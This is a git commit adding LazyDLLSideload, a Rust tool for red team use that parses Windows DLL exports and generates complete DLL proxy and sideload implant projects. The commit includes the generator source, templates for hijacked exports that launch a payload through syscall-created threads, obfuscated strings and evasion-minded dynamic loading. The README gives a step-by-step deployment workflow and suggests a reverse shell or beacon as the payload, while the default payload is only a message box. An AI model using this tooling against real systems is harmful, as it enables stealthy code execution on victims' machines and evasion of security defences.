This commit is contained in:
staffs@smukx.site
2026-06-17 23:56:41 +05:30
commit 731cbf4826
10 changed files with 1037 additions and 0 deletions
Generated
+25
View File
@@ -0,0 +1,25 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "LazyDLLSideload"
version = "0.1.0"
dependencies = [
"getopts",
]
[[package]]
name = "getopts"
version = "0.2.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cfe4fbac503b8d1f88e6676011885f34b7174f46e59956bba534ba83abded4df"
dependencies = [
"unicode-width",
]
[[package]]
name = "unicode-width"
version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254"
+12
View File
@@ -0,0 +1,12 @@
[package]
name = "LazyDLLSideload"
version = "0.1.0"
edition = "2021"
authors = ["5mukx", "smukx@5mukx.site"]
description = "An Lazy tool to generating DLL proxy/sideload projects"
repository = "https://git.smukx.site/smukx/LazyDLLSideload"
readme = "README.md"
license = "MIT"
[dependencies]
getopts = "0.2"
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Smukx ♠
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+307
View File
@@ -0,0 +1,307 @@
# LazyDLLSideload
A Rust-based tool for generating DLL proxy and sideload projects for red team engagements. Parses PE export tables and produces ready-to-compile Rust projects with your payload embedded.
## Overview
LazyDLLSideload automates building DLL proxying and sideloading implants.
- Uses the windows_sys ecosystem.
- Parses any Windows DLL to extract exported functions.
- Generates complete Rust projects.
- Obfuscates strings. Decrypts at runtime.
- Supports two operation modes. Sideload and Proxy.
- Uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke) for dynamic invocation and syscall execution in proxy loads.
## Installation
### Install as package
Install once. Run from any path.
```bash
cargo install LazyDLLSideload
```
### Clone the repository
```bash
git clone https://git.smukx.site/smukx/LazyDLLSideload.git
cd LazyDLLSideload
cargo b -r ; cp target/release/LazyDLLSideload.exe .
```
# Usage
## Mode 1: Sideload
Sideload mode creates a DLL to replace the original. Your payload runs when a target export is called. The original DLL never loads. This is a pure sideload attack.
### How It Works
1. Parses the target DLL to collect all exported functions.
2. Generates stub functions for all exports except the hijacked one.
3. Creates a `lib.rs` with the hijacked function. Your payload runs from there.
4. On build, you get a DLL with all the required exports.
### Example
```bash
# Generate sideload project for libvlc.dll
./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_new
```
This generates a project where:
- `libvlc_new` is the hijacked export and triggers the payload.
- All other exports are empty stubs.
- The target app loads your DLL directly.
POC:
![Sideloading VLC](<images/sideload-vlc.png>)
---
## Mode 2: Proxy Mode
Proxy mode creates a DLL with three jobs:
1. Forwards all function calls to the original (renamed) DLL.
2. Intercepts one specific function to execute your payload.
3. Maintains full functionality of the original DLL.
This is the classic proxying technique. The original DLL is renamed. Your proxy DLL takes its place, forwards calls, and intercepts specific functions.
### Key Components
#### 1. The Dispatch Function
The dispatch function is the core of the proxy. It:
- Loads the original DLL dynamically via `dyncvoke`.
- Resolves function addresses at runtime with `GetFunctionAddress`.
- Caches resolved addresses in a callback table to avoid repeated lookups.
- Uses a sync lock so the payload runs only once.
```rust
fn dispatch_call(
a1-u64, a2-u64, ..., a20-u64,
export_id: u32 // Which function was called (0 = hijacked)
) -> u64
```
#### 2. Export Forwarding
The `.def` file forwards non-hijacked exports to the original DLL:
```def
LIBRARY TextShaping
EXPORTS
BuildOtlCache=Shaping.BuildOtlCache @1
FreeOtlResources=Shaping.FreeOtlResources @2
GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3
...
ShapingCreateFontCacheData @12 ; Hijacked - handled by dispatch_call
```
This tells the Windows loader to forward calls to `Shaping.dll` (the renamed original) on its own.
#### 3. Dynamic Function Invocation (dyncvoke)
The tool uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke):
- Better OPSEC. No import table entries for the original DLL.
- Syscalls. Set `NATIVE = true` to use `NtCreateThreadEx` for thread creation.
- No suspicious imports. The proxy DLL has no explicit dependency on the target DLL.
```rust
// Dynamically load the original DLL at runtime
let module_handle = load_library_a(DLL_NAME);
// Resolve the function dynamically
let proc_addr = get_function_address(module_handle, &proc_name);
```
### Two Path Modes
#### Relative Path Mode (Default)
> Note: For relative path mode, place the original dll next to LazyDLLSideload.exe.
You give it a relative path like `-p ./TextShaping.dll`:
```bash
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll
```
POC:
![Relative Path Mode](./images/relative_path_mode.png)
Generated `.def` forwarding:
```def
BuildOtlCache=Shaping.BuildOtlCache @1
```
#### Absolute Path Mode
You give it an absolute path like `-p C:\Windows\System32\TextShaping.dll`:
```
1. No renaming needed
2. Deploy the YourProxy.dll in the target directory.
3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll"
4. The proxy dll loads the original DLL directly from system32 and forwards to it.
```
```bash
./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData
```
Generated `.def` forwarding:
```def
BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1
```
POC:
![Absolute Path Mode](./images/absolute_path_mode.png)
---
## Usage
### Build the Tool
```bash
cargo build --release
cp target/release/LazyDLLSideload.exe .
```
### Sideload Mode
```bash
./LazyDLLSideload.exe -m sideload -p <path_to_dll> -e <export_to_hijack>
```
### Proxy Mode
```bash
# Relative path mode
./LazyDLLSideload.exe -m proxy -p <path_to_dll> -e <export_to_hijack> -n <renamed_dll>
# Absolute path mode
./LazyDLLSideload.exe -m proxy -p <absolute_path_to_dll> -e <export_to_hijack>
```
### Options
| Option | Description |
|--------|-------------|
| `-m, --mode` | Mode: `sideload` or `proxy` |
| `-p, --path` | Path to target DLL |
| `-e, --export` | Export function name to hijack |
| `-n, --name` | Original DLL name after renaming (relative proxy path mode only) |
---
## Project Structure
### Sideload Mode
```
project_name/
├── Cargo.toml # Minimal dependencies (windows-sys only)
└── src/
├── lib.rs # DllMain + hijacked function + payload
└── forward.rs # Stub functions for all other exports
```
### Proxy Mode
```
project_name/
├── Cargo.toml # Includes dyncvoke dependency
├── build.rs # Links proxy.def
├── proxy.def # Export table with forwarding
├── dyncvoke/ # Dynamic invocation library
└── src/
├── lib.rs # Gateway + hijacked function
└── forward.rs # Stub functions (satisfies linker)
```
---
## Payload Customization
The default payload shows a MessageBox. To customise, edit the generated `lib.rs`:
```rust
fn initialize_component() {
// Your custom payload here
// Example: reverse shell, beacon, etc.
}
```
### Native Syscall Mode
In proxy mode, syscalls run by default. Toggle them with:
```rust
const NATIVE: bool = true; // Use NtCreateThreadEx via syscall
// vs
const NATIVE: false; // Use std::thread::spawn
```
---
## Example Workflow (Relative Path Mode)
### 1. Identify Target DLL
```
# Find a DLL the application loads
procmon.exe -> Filter: "Path ends with TextShaping.dll"
```
### 2. Generate Proxy
```bash
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll
```
### 3. Build
```bash
cd TextShaping
cargo build --release
```
### 4. Deploy
```
# Copy and rename original dll
rename TextShaping.dll Shaping.dll
# Deploy
copy target\release\TextShaping.dll .
copy Shaping.dll .
# The target app loading TextShaping.dll now:
# - Gets full functionality via forwarding
# - Executes the payload when ShapingCreateFontCacheData is called
# - Forwards to the original renamed dll Shaping.dll
```
## Requirements
- Rust (1.70+)
- Visual Studio Build Tools (MSVC)
- Windows target: `rustup target add x86_64-pc-windows-msvc`
## LICENSE
Released under [MIT LICENSE](./LICENSE).
Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

+410
View File
@@ -0,0 +1,410 @@
mod proxy;
mod sideload;
use getopts::Options;
use std::{
env, fs,
io::{self, Read},
path::Path,
};
const CARGO_TOML_TEMPLATE: &str = r#"
[package]
name = "{PROJECT_NAME}"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
lazy_static = "1.4.0"
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" }
obfstr = "0.4.4"
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
"Win32_UI_WindowsAndMessaging",
"Win32_System_Memory",
"Win32_System_Diagnostics_Debug",
"Win32_System_SystemServices",
"Win32_System_LibraryLoader",
"Win32_UI_Shell",
]
[build-dependencies]
windres = "0.2.2"
"#;
fn main() {
let args: Vec<String> = env::args().collect();
let program = args[0].clone();
let mut opts = Options::new();
opts.reqopt("m", "mode", "Mode: 'proxy' or 'sideload'", "MODE");
opts.reqopt("p", "path", "Path to target DLL", "PATH");
opts.reqopt("e", "export", "Export to hijack", "EXPORT");
opts.optopt("n", "name", "Original DLL name (renamed)", "ORIG_NAME");
let matches = match opts.parse(&args[1..]) {
Ok(m) => m,
Err(f) => {
println!("[!] Error: {}", f);
print_usage(&program, opts);
return;
}
};
let mode = matches.opt_str("m").unwrap();
let dll_path_str = matches.opt_str("p").unwrap();
let hijack_export = matches.opt_str("e").unwrap();
let dll_path = Path::new(&dll_path_str);
let dll_stem = dll_path.file_stem().unwrap().to_str().unwrap();
let default_orig_name = format!("{}_orig.dll", dll_stem);
let original_dll_full_name = matches.opt_str("n").unwrap_or(default_orig_name);
if !dll_path.exists() {
println!("[!] Error: DLL file not found at: {}", dll_path.display());
return;
}
let exports = parse_pe_exports(dll_path).unwrap_or(vec![]);
let project_name = dll_stem.replace(".", "_");
let root_dir = Path::new(&project_name);
if root_dir.exists() {
println!(
"[*] Removing existing project directory: {}",
root_dir.display()
);
let _ = fs::remove_dir_all(root_dir);
}
fs::create_dir_all(root_dir.join("src")).unwrap();
let is_proxy = mode == "proxy";
if is_proxy {
fs::write(
root_dir.join("Cargo.toml"),
CARGO_TOML_TEMPLATE.replace("{PROJECT_NAME}", &project_name),
)
.unwrap();
let match_arms = format!(" 0 => \"{}\".to_string(),", hijack_export);
let export_count = exports.len();
let mut forward_functions = String::new();
for (name, _ordinal) in exports.iter() {
if name != &hijack_export {
forward_functions.push_str(&format!(
"#[no_mangle]\npub unsafe extern \"system\" fn {}() {{}}\n",
name
));
}
}
let hijack_function = format!(
r#"#[no_mangle]
pub unsafe extern "system" fn {}(
a1: u64,
a2: u64,
a3: u64,
a4: u64,
a5: u64,
a6: u64,
a7: u64,
a8: u64,
a9: u64,
a10: u64,
a11: u64,
a12: u64,
a13: u64,
a14: u64,
a15: u64,
a16: u64,
a17: u64,
a18: u64,
a19: u64,
a20: u64,
) -> u64 {{
dispatch_call(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, 0)
}}"#,
hijack_export
);
let original_dll_path = if dll_path.is_absolute() {
dll_path_str.replace("\\", "\\\\")
} else {
original_dll_full_name.clone()
};
let lib_content = proxy::LIB_RS_TEMPLATE
.replace("{ORIGINAL_DLL_PATH}", &original_dll_path)
.replace("{NUM_EXPORTS}", &export_count.to_string())
.replace("{MATCH_STATEMENT}", &match_arms)
.replace("{HIJACK_FUNCTION}", &hijack_function);
fs::write(root_dir.join("src/lib.rs"), lib_content).unwrap();
fs::write(root_dir.join("src/forward.rs"), forward_functions).unwrap();
let mut def_content = format!("LIBRARY {}\nEXPORTS\n", dll_stem);
let forward_target = if dll_path.is_absolute() {
let p = Path::new(&dll_path_str);
p.with_extension("").to_string_lossy().to_string()
} else {
Path::new(&original_dll_full_name)
.file_stem()
.unwrap()
.to_str()
.unwrap()
.to_string()
};
for (name, ordinal) in &exports {
if name == &hijack_export {
def_content.push_str(&format!("{} @{}\n", name, ordinal));
} else {
def_content.push_str(&format!(
"{}={}.{} @{}\n",
name, forward_target, name, ordinal
));
}
}
fs::write(root_dir.join("build.rs"), proxy::BUILD_RS_TEMPLATE).unwrap();
fs::write(root_dir.join("proxy.def"), def_content).unwrap();
if dll_path.is_absolute() {
print_proxy_warning_absolute(dll_stem, &dll_path_str, &hijack_export);
} else {
print_proxy_warning(dll_stem, &original_dll_full_name, &hijack_export);
}
} else {
fs::write(
root_dir.join("Cargo.toml"),
sideload::CARGO_TOML_TEMPLATE.replace("{PROJECT_NAME}", &project_name),
)
.unwrap();
let hijack_function = format!(
r#"#[no_mangle]
pub unsafe extern "system" fn {}(
_a1: u64,
_a2: u64,
_a3: u64,
_a4: u64,
_a5: u64,
_a6: u64,
_a7: u64,
_a8: u64,
_a9: u64,
_a10: u64,
_a11: u64,
_a12: u64,
_a13: u64,
_a14: u64,
_a15: u64,
_a16: u64,
_a17: u64,
_a18: u64,
_a19: u64,
_a20: u64
) -> u64 {{
payload_execution();
1
}}"#,
hijack_export
);
let lib_content = sideload::LIB_RS_TEMPLATE.replace("{HIJACK_FUNCTION}", &hijack_function);
fs::write(root_dir.join("src/lib.rs"), lib_content).unwrap();
let mut forward_content = String::new();
for (name, _ordinal) in &exports {
if name != &hijack_export {
forward_content.push_str(&format!(
"#[no_mangle]\npub unsafe extern \"system\" fn {}() {{}}\n\n",
name
));
}
}
fs::write(root_dir.join("src/forward.rs"), forward_content).unwrap();
print_sideload_warning(dll_stem, &hijack_export);
}
println!("[+] Project generated: ./{}", project_name);
}
fn print_proxy_warning(dll_stem: &str, orig_name: &str, export: &str) {
println!(
"\n\x1b[31m\x1b[1m======================================================================\x1b[0m"
);
println!("\x1b[31m\x1b[1m[!] PROXY MODE CONFIGURATION\x1b[0m");
println!(
"\x1b[31m\x1b[1m======================================================================\x1b[0m"
);
println!(
" 1. Rename original '{}.dll' -> '{}'",
dll_stem, orig_name
);
println!(
" 2. Place generated DLL + '{}' in same folder.",
orig_name
);
println!(" 3. Payload triggers on: '{}'", export);
println!(
"\x1b[31m\x1b[1m======================================================================\x1b[0m\n"
);
}
fn print_proxy_warning_absolute(_dll_stem: &str, original_path: &str, export: &str) {
println!(
"\n\x1b[31m\x1b[1m======================================================================\x1b[0m"
);
println!("\x1b[31m\x1b[1m[!] PROXY MODE CONFIGURATION (Full Path Mode)\x1b[0m");
println!(
"\x1b[31m\x1b[1m======================================================================\x1b[0m"
);
println!(" 1. DLL will be loaded from: '{}'", original_path);
println!(" 2. No file renaming needed - uses absolute path.");
println!(" 3. Payload triggers on: '{}'", export);
println!(
"\x1b[31m\x1b[1m======================================================================\x1b[0m\n"
);
}
fn print_sideload_warning(dll_stem: &str, export: &str) {
println!(
"\n\x1b[33m\x1b[1m======================================================================\x1b[0m"
);
println!("\x1b[33m\x1b[1m[!] SIDELOAD MODE CONFIGURATION\x1b[0m");
println!(
"\x1b[33m\x1b[1m======================================================================\x1b[0m"
);
println!(
" 1. Place generated '{}.dll' alongside the vulnerable application.",
dll_stem
);
println!(
" 2. Application loads '{}.dll' and calls '{}'.",
dll_stem, export
);
println!(" 3. Payload triggers on: '{}'", export);
println!(
"\x1b[33m\x1b[1m======================================================================\x1b[0m\n"
);
}
fn print_usage(program: &str, opts: Options) {
let brief = format!("Usage: {} [options]", program);
print!("{}", opts.usage(&brief));
}
fn parse_pe_exports(path: &Path) -> io::Result<Vec<(String, u32)>> {
let mut file = fs::File::open(path)?;
let mut buffer = Vec::new();
file.read_to_end(&mut buffer)?;
let base = buffer.as_ptr();
let len = buffer.len();
let get_u32 = |offset: usize| -> u32 {
if offset + 4 > len {
0
} else {
unsafe { *((base.add(offset)) as *const u32) }
}
};
let get_u16 = |offset: usize| -> u16 {
if offset + 2 > len {
0
} else {
unsafe { *((base.add(offset)) as *const u16) }
}
};
if get_u16(0) != 0x5A4D {
return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid DOS"));
}
let e_lfanew = get_u32(0x3C) as usize;
if get_u32(e_lfanew) != 0x00004550 {
return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid PE"));
}
let optional_header_offset = e_lfanew + 24;
let (rva_count_offset, data_dirs_offset) = match get_u16(optional_header_offset) {
0x10B => (optional_header_offset + 92, optional_header_offset + 96),
0x20B => (optional_header_offset + 108, optional_header_offset + 112),
_ => return Err(io::Error::new(io::ErrorKind::InvalidData, "Unknown Magic")),
};
if get_u32(rva_count_offset) == 0 {
return Ok(Vec::new());
}
let export_rva = get_u32(data_dirs_offset);
if export_rva == 0 {
return Ok(Vec::new());
}
let file_header_offset = e_lfanew + 4;
let number_of_sections = get_u16(file_header_offset + 2);
let size_of_optional_header = get_u16(file_header_offset + 16);
let section_headers_offset = optional_header_offset + size_of_optional_header as usize;
let rva_to_offset = |rva: u32| -> usize {
for i in 0..number_of_sections as usize {
let entry_offset = section_headers_offset + (i * 40);
let virtual_address = get_u32(entry_offset + 12);
let size_of_raw_data = get_u32(entry_offset + 16);
if rva >= virtual_address && rva < virtual_address + size_of_raw_data {
return (rva - virtual_address + get_u32(entry_offset + 20)) as usize;
}
}
0
};
let export_file_offset = rva_to_offset(export_rva);
if export_file_offset == 0 {
return Err(io::Error::new(
io::ErrorKind::InvalidData,
"Invalid Export RVA",
));
}
let ordinal_base = get_u32(export_file_offset + 16);
let number_of_names = get_u32(export_file_offset + 24);
let address_of_names = get_u32(export_file_offset + 32);
let address_of_name_ordinals = get_u32(export_file_offset + 36);
let names_offset = rva_to_offset(address_of_names);
let ordinals_offset = rva_to_offset(address_of_name_ordinals);
if names_offset == 0 || ordinals_offset == 0 {
return Ok(Vec::new());
}
let mut exports = Vec::new();
for i in 0..number_of_names {
let name_rva = get_u32(names_offset + (i as usize * 4));
let name_offset = rva_to_offset(name_rva);
let ordinal_index = get_u16(ordinals_offset + (i as usize * 2));
if name_offset != 0 {
let mut name_str = String::new();
let mut cur = name_offset;
while cur < len && unsafe { *base.add(cur) } != 0 {
name_str.push(unsafe { *base.add(cur) } as char);
cur += 1;
}
exports.push((name_str, ordinal_base + ordinal_index as u32));
}
}
Ok(exports)
}
+204
View File
@@ -0,0 +1,204 @@
pub const BUILD_RS_TEMPLATE: &str = r##"
use std::{env, path::PathBuf};
fn main() {
if env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
let def_path = PathBuf::from(manifest_dir).join("proxy.def");
println!("cargo:rustc-link-arg=/DEF:{}", def_path.display());
println!("cargo:rerun-if-changed=proxy.def");
}
}
"##;
pub const LIB_RS_TEMPLATE: &str = r##"
#![allow(non_snake_case)]
extern crate lazy_static;
use std::sync::{Arc, Mutex};
use std::{ptr, thread};
use lazy_static::lazy_static;
use obfstr::obfstr as s;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::UI::WindowsAndMessaging::{MessageBoxA, MB_OK};
use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};
use windows_sys::core::BOOL;
use dyncvoke::dyncvoke_core::{nt_create_thread_ex,get_function_address, load_library_a};
mod forward;
const NATIVE: bool = true;
lazy_static! {
static ref DLL_NAME: String = s!("{ORIGINAL_DLL_PATH}").to_string();
}
static mut CALLBACK_TABLE: [usize; {NUM_EXPORTS}] = [0; {NUM_EXPORTS}];
lazy_static! {
static ref sync_lock: Arc<Mutex<i32>> = Arc::new(Mutex::new(0));
}
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(
_hinst: *mut std::ffi::c_void,
reason: u32,
_reserved: *mut std::ffi::c_void,
) -> BOOL {
match reason {
DLL_PROCESS_ATTACH => 1,
DLL_PROCESS_DETACH => 1,
_ => 1,
}
}
fn initialize_component() {
unsafe {
MessageBoxA(ptr::null_mut(), s!("Module initialized. ProxyMode Success").as_ptr() as *const u8, s!("Status").as_ptr() as *const u8, MB_OK);
}
}
fn dispatch_call(
a1: u64,
a2: u64,
a3: u64,
a4: u64,
a5: u64,
a6: u64,
a7: u64,
a8: u64,
a9: u64,
a10: u64,
a11: u64,
a12: u64,
a13: u64,
a14: u64,
a15: u64,
a16: u64,
a17: u64,
a18: u64,
a19: u64,
a20: u64,
export_id: u32,
) -> u64 {
let lock = Arc::clone(&sync_lock);
let mut guard = lock.lock().unwrap();
if *guard == 0 {
*guard += 1;
if NATIVE {
#[allow(unused_unsafe)]
unsafe {
let thread_handle: *mut HANDLE = ptr::null_mut();
let func_ptr = initialize_component as *const();
let start_addr = func_ptr as *mut std::ffi::c_void;
let result = nt_create_thread_ex(
thread_handle,
0x1FFFFF,
ptr::null_mut(),
-1isize as *mut std::ffi::c_void,
start_addr,
ptr::null_mut(),
0, 0, 0, 0,
ptr::null_mut()
);
if result != 0 {
thread::spawn(|| {
initialize_component();
});
}
}
} else {
thread::spawn(|| {
initialize_component();
});
}
}
drop(guard);
unsafe {
if CALLBACK_TABLE[export_id as usize] != 0 {
let target: extern "system" fn(
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
) -> u64 = std::mem::transmute(CALLBACK_TABLE[export_id as usize]);
return target(
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20,
);
}
}
let proc_name = match export_id {
{MATCH_STATEMENT}
_ => s!("").to_string(),
};
if proc_name.is_empty() {
return 0;
}
let dll_name = DLL_NAME.as_str();
let module_handle = load_library_a(dll_name);
if module_handle == 0 {
return 0;
}
let proc_addr = get_function_address(module_handle, &proc_name);
if proc_addr == 0 {
return 0;
}
unsafe {
CALLBACK_TABLE[export_id as usize] = proc_addr;
let target: extern "system" fn(
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
u64,
) -> u64 = std::mem::transmute(proc_addr);
return target(
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19,
a20,
);
}
}
{HIJACK_FUNCTION}
"##;
+58
View File
@@ -0,0 +1,58 @@
pub const CARGO_TOML_TEMPLATE: &str = r#"
[package]
name = "{PROJECT_NAME}"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
obfstr = "0.4.4"
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_System_SystemServices",
"Win32_UI_WindowsAndMessaging",
]
"#;
pub const LIB_RS_TEMPLATE: &str = r#"
#![allow(non_snake_case)]
use std::ffi::c_void;
use std::ptr::null_mut;
use obfstr::obfstr as s;
use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};
use windows_sys::Win32::UI::WindowsAndMessaging::MessageBoxW;
use windows_sys::core::BOOL;
mod forward;
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(
_hinst: *mut c_void,
reason: u32,
_reserved: *mut c_void,
) -> BOOL {
match reason {
DLL_PROCESS_ATTACH => 1,
DLL_PROCESS_DETACH => 1,
_ => 1,
}
}
unsafe fn payload_execution() {
MessageBoxW(
null_mut(),
s!("Sideload Executed Successfully!").as_ptr() as *const u16,
s!("Success").as_ptr() as *const u16,
0,
);
}
{HIJACK_FUNCTION}
"#;